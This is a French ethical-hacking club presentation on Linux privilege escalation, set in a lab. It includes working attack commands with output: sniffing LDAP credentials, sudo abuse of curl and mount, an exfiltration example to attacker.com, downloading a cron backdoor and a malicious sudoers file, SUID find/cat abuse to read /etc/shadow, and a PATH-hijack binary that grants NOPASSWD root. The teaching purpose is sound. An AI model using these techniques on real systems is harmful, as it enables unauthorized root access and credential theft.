



Club Ethical-Hacking # 27

Systeme - Élévation de privilèges sur Linux

26/02/2026

Introduction

Introduction - Définitions

L'élévation de privilèges abrégée "PE" pour **Privilege Escalation** ou encore **privesc** consiste à passer d'un niveau de privilège faible (utilisateur normal, compte service...) à un niveau plus élevé (souvent root ou administrateur) sur une machine ou dans un réseau.

C'est l'étape décisive qui transforme un simple accès initial en contrôle total de la cible/victime.

Introduction - Familles

Les techniques d'élévation de privilèges peuvent être regroupées en **différentes familles** :

- La **PE verticale** : passer d'un utilisateur normal à un utilisateur avec plus de privilèges.
- La **PE horizontale** : passer d'un utilisateur normal à un utilisateur avec un niveau de droits équivalent.
- La **PE latérale** : consiste à se déplacer d'une machine A vers une machine B, depuis un même utilisateur.

Énumération

Énumération - LinPEAS

Linux Privilege Escalation Awesome Script (LinPEAS) : Script bash pour trouver les chemins d'élévation de privilèges (Debian, CentOS, FreeBSD, OpenBSD et MacOS).

Analyse notamment les points suivants lors de l'exécution :

- **Kernel** : recherche d'exploits connus pour la version du système.
- **Fichiers** : contenant des mots de passe, des clés SSH ou des permissions mal configurées.
- **Processus et services** : identification de services tournant en tant que root.
- **Logiciels** : recherche de versions vulnérables.

Énumération - LinPEAS

LinPEAS à plusieurs avantages :

- **Sans dépendances** : fonctionne sur presque toutes les distributions Linux sans installation préalable ;
- **Encadré** : n'écrit rien sur le disque et n'essaie pas de se connecter en tant qu'autre utilisateur ;
- **Code couleur** : utilise des couleurs pour indiquer la probabilité et la criticité d'une faille.

C'est un très bon point de départ pour initier un audit de sécurité sur un système Linux.

Énumération - LinPEAS

Linux Privesc Checklist: <https://book.hacktricks.wiki/en/linux-hardening/linux-privilege-escalation-checklist.html>

LEGEND:

RED/YELLOW: 95% a PE vector

RED: You should take a look into it

LightCyan: Users with console

Blue: Users without console & mounted devs

Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs)

LightMagenta: Your username

Starting LinPEAS. Caching Writable Folders...

Basic information

OS: Linux version 6.12.47 (@124b6677fa5a) (gcc (Ubuntu 11.4.0-1ubuntu1~22.04.2) 11.4.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #1 SMP Mon Oct 27 10:01:15 UTC 2025

User & Groups: uid=1000(user) gid=1000(user) groups=1000(user)

Hostname: challenge

Exécution du script : `linpeas.sh`

Énumération - LinPEAS

Permissions in init, init.d, systemd, and rc.d
<https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#init-initd-systemd-and-rcd>

```
Hashes inside passwd file? ..... No
Writable passwd file? ..... No
Credentials in fstab/mtab? ..... No
Can I read shadow files? ..... No
Can I read shadow plists? ..... No
Can I write shadow plists? ..... No
Can I read opasswd file? ..... No
Can I write in network-scripts? ..... No
Can I read root folder? ..... No
```

Searching root files in home dirs (limit 30)

```
/home/
/root/
```

Searching folders owned by me containing others files on it (limit 100)

Readable files belonging to root and readable by me but not world readable

Interesting writable files owned by me or writable by everyone (not in Home) (max 200)
<https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files>

```
/dev/mqueue
/dev/shm
/dev/termination-log
/home/user
/run/lock
/tmp
/tmp/linpeas.log
/tmp/linpeas.sh
/tmp/password.txt
/var/tmp
```

Executing Linux Exploit Suggester
<https://github.com/mzet-/linux-exploit-suggester>

[+] [CVE-2022-2586] nft_object UAF

Details: <https://www.openwall.com/lists/oss-security/2022/08/29/5>

Exposure: less probable

Tags: ubuntu=(20.04){kernel:5.12.13}

Download URL: <https://www.openwall.com/lists/oss-security/2022/08/29/5/1>

Comments: kernel.unprivileged_usersns_clone=1 required (to obtain CAP_NET_ADMIN)

[+] [CVE-2021-3156] sudo Baron Samedit

Details: <https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt>

Exposure: less probable

Tags: mint=19,ubuntu=18|20, debian=10

Download URL: <https://codeload.github.com/blasty/CVE-2021-3156/zip/main>

[+] [CVE-2021-3156] sudo Baron Samedit 2

Details: <https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt>

Exposure: less probable

Tags: centos=6|7|8,ubuntu=14|16|17|18|19|20, debian=9|10

Download URL: <https://codeload.github.com/worawit/CVE-2021-3156/zip/main>

Secrets en clair

Secrets en clair - Introduction

Des secrets d'authentification peuvent être présents sur la machine depuis différentes sources :

1. Fichiers de configuration (services ou applications) ;
2. Fichiers de logs ;
3. Historique (bash, python, sqlite) ;
4. Fichiers de sauvegarde ;
5. Utilisation de protocoles sans chiffrement.

Secrets en clair - logs

Les fichiers de journaux contiennent parfois des secrets. Voici quelques exemples de cas intéressants :

- `auditd` journalise toutes les commandes réalisés par les utilisateurs sur le système. S'il est possible pour un utilisateur non root de lire ces logs, il est probable qu'une fuite de secrets ait lieu.
- `modsecurity` est un WAF à mettre en place sur apache. Sur celui-ci, il est possible de conserver le détail des requêtes et réponses échangées entre le client et le serveur Web. Ces communications peuvent contenir des secrets d'authentification ou autre, qui pourraient être utilisés pour élever nos privilèges.

Par défaut, les différents journaux sont conservés dans `/var/log/`.

Secrets en clair - logs

[illegible]

L'utilisateur fait partie du groupe `adm` ce qui permet de lire les logs `auditd`.

Secrets en clair - logs

```
webadm@srvbastion:~$ id
uid=1000(webadm) gid=1000(webadm) groups=1000(webadm),4(adm),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(
plugdev),100(users),106(netdev)
webadm@srvbastion:~$ ls -l /var/log/apache2/modsec_audit.log
-rw-r----- 1 root adm 104371 Jan  6 10:27 /var/log/apache2/modsec_audit.log
webadm@srvbastion:~$ grep -E "password" /var/log/apache2/modsec_audit.log | tail -n 1
{"transaction":{"time":"06/Jan/2026:10:27:41.869229 +0100","transaction_id":"aVzVjVsdT-6b98VTCbrw9QAAAAo","remote
_address":"172.16.200.1","remote_port":41092,"local_address":"172.16.200.2","local_port":80},"request":{"request
_line":"POST /login HTTP/1.1","headers":{"Host":"rmp.privesc.local","User-Agent":"Mozilla/5.0 (X11; Linux x86_64;
rv:128.0) Gecko/20100101 Firefox/128.0","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
","Accept-Language":"fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding":"gzip, deflate","Referer":"http://rmp
.privesc.local/login","Content-Type":"application/x-www-form-urlencoded","Content-Length":"61","Origin":"http://r
mp.privesc.local","DNT":"1","Sec-GPC":"1","Connection":"keep-alive","Upgrade-Insecure-Requests":"1","Priority":"u
=0, i"},"body":["username=warren%40rootmepro.local&password=lt2F7DKaJIia0apnNq"]},"response":{"},"audit_data":{}}
```

```
webadm@srvbastion:~$ grep -E "session" /var/log/apache2/modsec_audit.log | tail -n 1
{"transaction":{"time":"06/Jan/2026:10:27:44.466046 +0100","transaction_id":"aVzVkFsdT-6b98VTCbrw-QAAAAo","remote
_address":"172.16.200.1","remote_port":41092,"local_address":"172.16.200.2","local_port":80},"request":{"request
_line":"GET /logout HTTP/1.1","headers":{"Host":"rmp.privesc.local","User-Agent":"Mozilla/5.0 (X11; Linux x86_64;
rv:128.0) Gecko/20100101 Firefox/128.0","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
","Accept-Language":"fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding":"gzip, deflate","DNT":"1","Sec-GPC":"
1","Connection":"keep-alive","Referer":"http://rmp.privesc.local/profile","Cookie":"session=evJ1c2VybmFtZSI6Indhc
nJlbkByb290bWVwcm8ubG9jYWwifQ.aVzVjQ.92svqXcv4bVn0CoBQTDaV2B1cLk","Upgrade-Insecure-Requests":"1","Priority":"u=0
, i"},"response":{"},"audit_data":{}}
```

L'utilisateur fait partie du groupe `adm` ce qui permet de lire les logs `modsecurity`.

Secrets en clair - historique & backups

Les historiques de commandes et fichiers de backups sont souvent des ressources intéressantes à creuser. Dans ceux-ci, on trouve les mêmes genres de secrets que vue précédemment.

```
[REDACTED]:~/ $ ls -la | grep history
```

.rw-r--r--	20k	[REDACTED]	26	Oct	2025	.bash_history
.rw-----	1.9k	[REDACTED]	31	Oct	2025	.mysql_history
.rw-----	1.4k	[REDACTED]	27	Jun	2025	.php_history
.rw-----	10	[REDACTED]	31	Oct	2025	.psql_history
.rw-----	255k	[REDACTED]	30	Dec	2025	.python_history
.rw-----	0	[REDACTED]	4	Jun	2025	.python_history-10454.tmp
.rw-----	12k	[REDACTED]	8	Sep	2025	.sqlite_history
.rw-----	676k	[REDACTED]	6	Jan	10:36	.zsh_history

Secrets en clair - protocoles

L'utilisation de protocoles sans chiffrement amène la possibilité d'écouter les communications provenant d'un autre utilisateur utilisant le même système. En fonction du protocole utilisé, des informations comme des identifiants ou des fichiers sensibles peuvent circuler.

Il est nécessaire que notre utilisateur possède les droits pour écouter les communications réseaux.

Dans ce cas de figure, on trouve notamment les protocoles *HTTP*, *FTP*, *LDAP*, *SMB* et *Telnet*. Les protocoles basés UDP sont rarement accompagnés de chiffrement, ainsi les flux vidéos, flux DNS etc. peuvent aussi être facilement interceptés.

Secrets en clair - protocoles

```
root@srvbastion:~# ldapsearch -H ldap://172.17.0.2 -x -D "cn=admin,dc=rmp,dc=local"
-W -b "uid=babbz,ou=users,dc=rmp,dc=local"
Enter LDAP Password:
# extended LDIF
#
# LDAPv3
# base <uid=babbz,ou=users,dc=rmp,dc=local> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# search result
search: 2
result: 32 No such object
matchedDN: dc=RMP,dc=local
```

On intercepte les communications LDAP provenant de root.

Ces communications contiennent la phase d'authentification et le résultat de la requête.

```
webadm@srvbastion:~$ sudo tcpdump -i docker0 -lnvX tcp[13] == 0x18
tcpdump: listening on docker0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
12:30:33.667395 IP (tos 0x0, ttl 64, id 27319, offset 0, flags [DF], proto TCP (6), length 108)
172.17.0.1.56582 > 172.17.0.2.389: Flags [P.], cksum 0x5884 (incorrect -> 0xa09d), seq 2751017910:
2751017966, ack 1207982059, win 502, options [nop,nop,TS val 2385868906 ecr 4152459998], length 56
0x0000: 4500 006c 6ab7 4000 4006 77af ac11 0001 E..lj.@@.w.....
0x0010: ac11 0002 dd06 0185 a3f9 33b6 4800 57eb .....3.H.W.
0x0020: 8018 01f6 5884 0000 0101 080a 8e35 786a ....X.....5xj
0x0030: f781 82de 3036 0201 0160 3102 0103 0418 ....06...`1.....
0x0040: 636e 3d61 646d 696e 2c64 633d 726d 702c cn=admin,dc=rmp,
0x0050: 6463 3d6c 6f63 616c 8012 5161 4f6e 4e64 dc=local..QaOnNd
0x0060: 6663 7665 6a65 7038 576d 6947 fcvejep8WmiG
12:30:33.668081 IP (tos 0x0, ttl 64, id 57904, offset 0, flags [DF], proto TCP (6), length 66)
172.17.0.2.389 > 172.17.0.1.56582: Flags [P.], cksum 0x585a (incorrect -> 0x01ad), seq 1:15, ack 5
6, win 509, options [nop,nop,TS val 4152459998 ecr 2385868906], length 14
0x0000: 4500 0042 e230 4000 4006 0060 ac11 0002 E..B.0@.@..`....
0x0010: ac11 0001 0185 dd06 4800 57eb a3f9 33ee .....H.W...3.
0x0020: 8018 01fd 585a 0000 0101 080a f781 82de ....XZ.....
0x0030: 8e35 786a 300c 0201 0161 070a 0100 0400 .5xj0....a.....
0x0040: 0400
12:30:33.668455 IP (tos 0x0, ttl 64, id 27321, offset 0, flags [DF], proto TCP (6), length 125)
172.17.0.1.56582 > 172.17.0.2.389: Flags [P.], cksum 0x5895 (incorrect -> 0xb39), seq 56:129, ack
15, win 502, options [nop,nop,TS val 2385868907 ecr 4152459998], length 73
0x0000: 4500 007d 6ab9 4000 4006 779c ac11 0001 E..}j.@@.w.....
0x0010: ac11 0002 dd06 0185 a3f9 33ee 4800 57f9 .....3.H.W.
0x0020: 8018 01f6 5895 0000 0101 080a 8e35 786b ....X.....5xk
0x0030: f781 82de 3047 0201 0263 4204 2275 6964 ....0G...cB."uid
0x0040: 3d62 6162 627a 2c6f 753d 7573 6572 732c =babbz,ou=users,
0x0050: 6463 3d72 6d70 2c64 633d 6c6f 6361 6c0a dc=rmp,dc=local.
0x0060: 0102 0a01 0002 0100 0201 0001 0100 870b .....
0x0070: 6f62 6a65 6374 636c 6173 7330 00 objectclass0.
12:30:33.668922 IP (tos 0x0, ttl 64, id 57905, offset 0, flags [DF], proto TCP (6), length 81)
172.17.0.2.389 > 172.17.0.1.56582: Flags [P.], cksum 0x5869 (incorrect -> 0x3a86), seq 15:44, ack
129, win 509, options [nop,nop,TS val 4152459999 ecr 2385868907], length 29
0x0000: 4500 0051 e231 4000 4006 0050 ac11 0002 E..Q.1@.@..P....
0x0010: ac11 0001 0185 dd06 4800 57f9 a3f9 3437 .....H.W...47
0x0020: 8018 01fd 5869 0000 0101 080a f781 82df ....Xi.....
0x0030: 8e35 786b 301b 0201 0265 160a 0120 040f .5xk0....e.....
0x0040: 6463 3d52 4d50 2c64 633d 6c6f 6361 6c04 dc=RMP,dc=local.
0x0050: 00
```

Droits sudo

Droits sudo

Il arrive qu'il soit nécessaire pour un utilisateur non privilégié d'exécuter des commandes en tant que root. Dans ce cas, il est courant de mettre en place une configuration dans le fichier **sudoers**.

```
rootmepro ALL=(root:root) NOPASSWD:/usr/bin/mount
```

Le fichier sudoers n'est lisible et modifiable que par l'utilisateur root. La configuration précise un utilisateur (ou groupe), qui va disposer des droits d'un autre utilisateur pour une commande unique.

L'utilisateur `rootmepro` peut utiliser la commande `/usr/bin/mount` en tant que `root` sans saisir son mot de passe.

Droits sudo

L'objectif va être d'obtenir du binaire une lecture ou écriture de fichiers voir d'obtenir directement un shell pour profiter pleinement du root.

Cela peut se faire de différentes manières :

- Le binaire peut être manipulé au travers d'options en ligne de commandes qui vont permettre la compromission du système ;
- Le binaire est utilisé de manière détournée ;
- Le binaire est vulnérable à une exploitation (buffer overflow, module abuse, PATH abuse etc.).

Pour trouver de tels comportements, on analyse la documentation, les CVE découvertes et éventuellement le code du binaire.

Droits sudo - GTFOBins

Le site gtfobins.github.io référence des moyens d'exploiter les binaires linux les plus connus.

On trouve notamment des techniques pour exécuter des commandes, manipuler des fichiers ou charger des bibliothèques.

Une équivalence Windows existe : lolbas-project.github.io

GTFOBins

☆ Star 12,476

GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems.

The project collects legitimate [functions](#) of Unix binaries that can be abused to ~~get the f**k~~ break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.

It is important to note that this is **not** a list of exploits, and the programs listed here are not vulnerable per se, rather, GTFOBins is a compendium about how to live off the land when you only have certain binaries available.

GTFOBins is a [collaborative](#) project created by [Emilio Pinna](#) and [Andrea Cardaci](#) where everyone can [contribute](#) with additional binaries and techniques.

If you are looking for Windows binaries you should visit [LOLBAS](#).

ShellCommandReverse shellNon-interactive reverse shellBind shellNon-interactive bind shellFile uploadFile downloadFile writeFile readLibrary loadSUIDSudoCapabilitiesLimited SUID

mount

Binary	Functions
mount	Sudo

Droits sudo - GTFOBins

.. / mount ☆ Star 12,476

Sudo

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

Exploit the fact that `mount` can be executed via `sudo` to *replace* the `mount` binary with a shell.

```
sudo mount -o bind /bin/sh /bin/mount
sudo mount
```

Ci-dessus : Une méthode d'utilisation détournée du binaire mount pour exploiter une configuration de droit sudo.

Ci-contre : Des méthodes de manipulation de fichiers au travers de l'outil curl.

.. / curl ☆ Star 12,476

File upload File download File write File read SUID Sudo

File upload

It can exfiltrate files on the network.

Send local file with an HTTP POST request. Run an HTTP service on the attacker box to collect the file. Note that the file will be sent as-is, instruct the service to not URL-decode the body. Omit the `@` to send hard-coded data.

```
URL=http://attacker.com/
LFILE=file_to_send
curl -X POST -d "@$LFILE" $URL
```

File download

It can download remote files.

Fetch a remote file via HTTP GET request.

```
URL=http://attacker.com/file_to_get
LFILE=file_to_save
curl $URL -o $LFILE
```

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

The file path must be absolute.

```
LFILE=file_to_write
TF=$(mktemp)
echo DATA >$TF
curl "file://$TF" -o "$LFILE"
```

Droits sudo - Exemples

```
hhenry@srvbastion:~$ id
uid=1001(hhenry) gid=1001(hhenry) groups=1001(hhenry),100(users)
hhenry@srvbastion:~$ sudo -l
Matching Defaults entries for hhenry on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User hhenry may run the following commands on localhost:
    (root : root) NOPASSWD: /usr/bin/curl
hhenry@srvbastion:~$ sudo curl http://172.16.200.1:9999/cronbackdoor -o /etc/cron.hourly/friendlyjob
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
           Dload  Upload   Total   Spent    Left   Speed
100    77    100    77     0     0  24122      0 --:--:-- --:--:-- --:--:-- 25666
hhenry@srvbastion:~$ ls -la /etc/cron.hourly/friendlyjob
-rw-r--r-- 1 root root 77 Jan  9 11:36 /etc/cron.hourly/friendlyjob
hhenry@srvbastion:~$ sudo curl http://172.16.200.1:9999/evilsudoers -o /etc/sudoers
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
           Dload  Upload   Total   Spent    Left   Speed
100    84    100    84     0     0  13159      0 --:--:-- --:--:-- --:--:-- 14000
hhenry@srvbastion:~$ ls -la /etc/sudoers
-r--r----- 1 root root 84 Jan  9 11:38 /etc/sudoers
hhenry@srvbastion:~$ █
```

```
hhenry@srvbastion:~$ id
uid=1001(hhenry) gid=1001(hhenry) groups=1001(hhenry),100(users)
hhenry@srvbastion:~$ sudo -l
Matching Defaults entries for hhenry on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User hhenry may run the following commands on localhost:
    (root : root) NOPASSWD: /usr/bin/mount
hhenry@srvbastion:~$ sudo mount -o bind /bin/sh /bin/mount
hhenry@srvbastion:~$ sudo mount
# id
uid=0(root) gid=0(root) groups=0(root)
```

SUID / SGID

SUID & SGID - Introduction

Sous Linux, les bits SUID (Set User ID) et SGID (Set Group ID) sont des mécanismes de permission spéciaux.

Quand un binaire possède le bit **SUID**, il ne s'exécute pas avec les droits de l'utilisateur qui le lance, mais avec ceux du **propriétaire**.

Le bit SGID applique le même principe, mais au niveau du groupe.

```
$ ls -l ./
-rwxr-xr-x 1 root root 36K Jun 24 08:24 simple_binary
-rwsr-xr-x 1 root root 36K Jun 24 08:27 suid_binary
```

SUID & SGID - Introduction

Le *SUID* et le *SGID* sont utilisés pour que des utilisateurs non privilégiés exécutent des actions nécessitant des droits élevés de manière contrôlée.

Un exemple classique est la commande `passwd`, qui doit pouvoir modifier le fichier `/etc/shadow`, fichier accessible uniquement à l'utilisateur root.

```
$ ls -l /usr/bin/passwd  
-rwsr-xr-x 1 root root 68248  7 Apr  2025 /usr/bin/passwd
```

L'Effective User ID (EUID) détermine les privilèges réellement utilisés par le processus lors de son exécution. Dans ce cas, le programme s'exécute avec l'EUID de root.

SUID & SGID - Introduction

De la même manière que les droits sudo, les fonctionnalités du binaire jouent un rôle déterminant dans l'exploitation.

Le but est d'obtenir du binaire une lecture ou écriture de fichiers voir directement un shell pour profiter pleinement des privilèges.

Cela peut se faire de différentes manières :

- Le binaire peut être manipulé au travers d'options en ligne de commandes qui vont permettre la compromission du système ;
- Le binaire est utilisé de manière détournée ;
- Le binaire est vulnérable à une exploitation (buffer overflow, module abuse, PATH abuse etc.).

SUID - Exemple

Dans le cas du binaire `cat` configuré avec le bit SUID. On peut utiliser ceci pour lire des fichiers normalement inaccessibles, en héritant des privilèges de son propriétaire.

```
debian@debian:~$ ls -al /bin/cat
-rwxr-xr-x 1 root root 43744 févr. 28 2019 /bin/cat
debian@debian:~$ sudo chmod u+s /bin/cat
debian@debian:~$ ls -al /bin/cat
-rwsr-xr-x 1 root root 43744 févr. 28 2019 /bin/cat
```

La commande `chmod` permet d'ajouter/oter une permission (`rwsx`) au propriétaire ou au groupe.

SUID - Exemple

```
debian@debian:~$ ls -al /etc/shadow
-rw-r----- 1 root shadow 1646 nov. 29 13:14 /etc/shadow
debian@debian:~$ /bin/cat /etc/shadow
root:$6!
daemon:*:19513:0:99999:7:::
bin:*:19513:0:99999:7:::
sys:*:19513:0:99999:7:::
sync:*:19513:0:99999:7:::
games:*:19513:0:99999:7:::
man:*:19513:0:99999:7:::
lp:*:19513:0:99999:7:::
```

On utilise cette configuration pour lire le fichier `/etc/shadow`.

SUID - Exemple

La commande `find` dispose d'une option `-exec` permettant l'exécution de commandes arbitraires. Si il est configuré avec le bit SUID, il est possible de faire une élévation de privilèges.

On note l'apparition du groupe `euuid=0` une fois le shell obtenu.

```
hhenry@srvbastion:~$ id
uid=1001(hhenry) gid=1001(hhenry) groups=1001(hhenry),100(users)
hhenry@srvbastion:~$ ls -l
total 228
drwxr-xr-x 2 hhenry hhenry  4096 Jan  9 17:48 dummy
-rwsr-xr-x 1 root   root   224848 Jan 26 14:59 find
-rwxr-xr-x 1 hhenry hhenry    46 Jan  9 17:35 myscript.sh
hhenry@srvbastion:~$ ./find ./dummy/ -exec /bin/sh -p \; -quit
# id
uid=1001(hhenry) gid=1001(hhenry) euuid=0(root) groups=1001(hhenry),100(
users)
# cat /etc/shadow
root:$y$j9T$766q/
P6laZS4:20335:0:99999:7:::
daemon*:20335:0:99999:7:::
bin*:20335:0:99999:7:::
sys*:20335:0:99999:7:::
sync*:20335:0:99999:7:::
```

SUID - Rôle de l'option `-p`

L'option `-p` indique à bash de conserver ses privilèges effectifs, elle désactive la vérification de sécurité et empêche bash de supprimer l'EUID.

Avoir l'EUID ne signifie pas toujours être considéré comme root. De nombreux binaires, bibliothèques ou scripts vérifient l'UID réel (`getuid()`), et non l'EUID, cela peut donc entraîner des comportements restrictifs.

Il est possible d'utiliser la fonction `setreuid(<gid>)` en Python afin d'aligner les identités réelles et effectives du processus.

SUID - Upgrade EUID to UID

```
hhenry@srvbastion:~$ id
uid=1001(hhenry) gid=1001(hhenry) groups=1001(hhenry),100(users)
hhenry@srvbastion:~$ cat script.py
#!/usr/bin/python3
import os
os.setreuid(0,0)
os.system('/bin/bash -p')
hhenry@srvbastion:~$ ./find ./dummy/ -exec ./script.py -p \; -quit
root@srvbastion:~# id
uid=0(root) gid=1001(hhenry) groups=1001(hhenry),100(users)
root@srvbastion:~#
```

Au lieu de lancer un simple bash, on lance un script python qui va appliquer dans l'UID, l'EUID avec lequel est lancé le binaire.

SGID - Exemple

L'exploitation d'un SGID se fait de la même manière et sous les mêmes contraintes.

Seulement, ce sont les droits du groupe propriétaire que l'on va obtenir.

Sur le même principe, il est possible d'utiliser la fonction `setregid(<gid>)`.

```
hhenry@srvbastion:~$ id
uid=1001(hhenry) gid=1001(hhenry) groups=1001(hhenry),100(users)
hhenry@srvbastion:~$ ls -l
total 52
-rwxr-sr-x 1 root shadow 44016 Jan 26 15:24 cat
drwxr-xr-x 2 hhenry hhenry 4096 Jan 26 15:26 dummy
-rwxr-xr-x 1 hhenry hhenry 46 Jan 9 17:35 myscript.sh
hhenry@srvbastion:~$ ls -l /etc/shadow
-rw-r----- 1 root shadow 1091 Jan 26 14:58 /etc/shadow
hhenry@srvbastion:~$ ./cat /etc/shadow
root:$y$j9T$766q/UzuevVbL5W
P6laZS4:20335:0:99999:7:::
daemon:*:20335:0:99999:7:::
bin:*:20335:0:99999:7:::
sys:*:20335:0:99999:7:::
```

Script abuse

Script abuse

Dans un script, certaines opérations peuvent s'avérer dangereuses.

Parmi elles on retrouve :

- ***Path abuse*** : Exploitation de la variable d'environnement `PATH` pour détourner les commandes appelés dans le script.
- ***Module abuse*** : Détournement du module importé dans un script pour modifier les actions réalisées par les fonctions du module.
- ***Quote abuse*** : Exploitation d'une mauvaise utilisation des quotes (`"` ou `'`) pour modifier le comportement du script.
- ***Wildcard abuse*** : Exploitation des wildcards dans une commande pour injecter des arguments.

Script abuse - \$PATH

Le `$PATH` est une variable d'environnement qui contient la liste des répertoires où se trouvent les commandes.

La plupart des commandes ne sont pas intégrées au terminal (commandes built-in vs commandes externes). `$PATH` permet d'éviter de taper le chemin complet du binaire à chaque fois qu'on l'exécute.

```
$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
$ which ls      # <= cmd externe
/usr/bin/ls
$ which cd      # <= built-in
# no output
```


Script abuse - \$PATH

Quand on lance `ls` :

1. bash parcourt dans l'ordre les répertoires listés dans le `$PATH` ;
2. Il cherche le binaire correspondant : `/usr/bin/ls` ;
3. Dès qu'il le trouve, il l'exécute.

L'ordre de parcours correspond à l'ordre de lecture des dossiers :

```
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin  
=> /usr/local/sbin, /usr/local/bin, /usr/sbin etc.
```

Sa modification permet de changer l'ordre dans lequel les binaires vont être recherchés, donc d'éventuellement modifier le binaire à exécuter.

Script abuse - \$PATH

```
hhenry@srvbastion:~$ id
uid=1001(hhenry) gid=1001(hhenry) groups=1001(hhenry),100(users)
hhenry@srvbastion:~$ ls -l
total 24
drwxr-xr-x 2 hhenry hhenry 4096 Jan 26 15:38 dummy
-rwsr-xr-x 1 root   root   16016 Jan 27 14:17 script
-rw-r--r-- 1 root   root    114 Jan 27 14:17 script.c
hhenry@srvbastion:~$ cat script.c
#include <stdlib.h>
#include <unistd.h>
int main() {
    setuid(0);
    system("ls /etc/shadow");
    return 0;
}
hhenry@srvbastion:~$ ./script
/etc/shadow
```

Le binaire s'exécute en tant que `root` grace au bit SUID. Comment l'exploiter ?

Script abuse - \$PATH

```
hhenry@srvbastion:~$ id
uid=1001(hhenry) gid=1001(hhenry) groups=1001(hhenry),100(users)
hhenry@srvbastion:~$ ls -l
total 24
drwxr-xr-x 2 hhenry hhenry 4096 Jan 26 15:38 dummy
-rwsr-xr-x 1 root   root   16016 Jan 27 14:17 script
-rw-r--r-- 1 root   root    114 Jan 27 14:17 script.c
hhenry@srvbastion:~$ cat script.c
#include <stdlib.h>
#include <unistd.h>
int main() {
    setuid(0);
    system("ls /etc/shadow");
    return 0;
}
hhenry@srvbastion:~$ ./script
/etc/shadow
hhenry@srvbastion:~$ PATH="/tmp:$PATH"
hhenry@srvbastion:~$ cp /bin/cat /tmp/ls
hhenry@srvbastion:~$ ./script
root:$y$j9T$766q/...aZS4:20335:0:99999:
7:::
daemon*:20335:0:99999:7:::
bin*:20335:0:99999:7:::
sys*:20335:0:99999:7:::
sync*:20335:0:99999:7:::
games*:20335:0:99999:7:::
man*:20335:0:99999:7:::
lp*:20335:0:99999:7:::
```

L'appel de la commande `ls` n'est pas exacte. On remplace `ls` par `cat`.

Script abuse - \$PATH

```
hhenry@srvbastion:~$ cat /tmp/ls.c
#include <stdlib.h>
#include <unistd.h>
int main() {
    setuid(0);
    system("echo 'hhenry ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers");
    return 0;
}
hhenry@srvbastion:~$ gcc /tmp/ls.c -o /tmp/ls
hhenry@srvbastion:~$ PATH="/tmp:$PATH"
hhenry@srvbastion:~$ echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
hhenry@srvbastion:~$ ./script
hhenry@srvbastion:~$ sudo -l
Matching Defaults entries for hhenry on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\

User hhenry may run the following commands on localhost:
    (ALL) NOPASSWD: ALL
hhenry@srvbastion:~$ sudo su -
root@srvbastion:~#
```

On crée un nouveau binaire qui récupère l'UID du parent et qui modifie le fichier `/etc/sudoers` pour nous offrir les privilèges root.

Script abuse - Modules

De nos jours, les bibliothèques et modules sont nombreux. Il est très rare qu'un projet ou un script ne dépende d'aucun code importé dans celui-ci.

```
hhenry@srvbastion:~$ id
uid=1001(hhenry) gid=1001(hhenry) groups=1001(hhenry),100(users)
hhenry@srvbastion:~$ pip show requests
Name: requests
Version: 2.28.1
Summary: Python HTTP for Humans.
Home-page: https://requests.readthedocs.io
Author: Kenneth Reitz
Author-email: me@kennethreitz.org
License: Apache 2.0
Location: /usr/lib/python3/dist-packages
Requires:
Required-by:
hhenry@srvbastion:~$ python3 -c "import requests; print(requests.__file__)"
/usr/lib/python3/dist-packages/requests/__init__.py
hhenry@srvbastion:~$ ls -l /usr/lib/python3/dist-packages/requests/__init__.py
-rw-rw-r-- 1 root users 4972 Jan 27 15:51 /usr/lib/python3/dist-packages/requests/__init__.py
```

L'objectif est d'abuser d'éventuels droits d'écriture sur les répertoires contenant des bibliothèques et modules dans le but de réécrire certaines fonctions. Pour aborder ce sujet, nous utiliserons l'exemple des modules python.

Script abuse - Modules

La bibliothèque `requests` de python est très utilisé. Les droits d'écriture sur un tel fichier permettent de modifier `requests.get()`.

Il suffit d'attendre qu'un utilisateur root appelle cette fonction pour que nos privilèges soient augmentés.

Plusieurs autres techniques d'élévation de privilèges intéressantes sont propres à l'utilisation de Python

```
hhenry@srvbastion:~$ rgrep "def get(" /usr/lib/python3/dist-packages/requests/
/usr/lib/python3/dist-packages/requests/structures.py: def get(self, key, default=None):
/usr/lib/python3/dist-packages/requests/sessions.py: def get(self, url, **kwargs):
/usr/lib/python3/dist-packages/requests/cookies.py: def get(self, name, default=None, do
ne):
/usr/lib/python3/dist-packages/requests/api.py: def get(url, params=None, **kwargs):
hhenry@srvbastion:~$ nano /usr/lib/python3/dist-packages/requests/api.py
hhenry@srvbastion:~$ grep -A 12 'def get(' /usr/lib/python3/dist-packages/requests/api.py
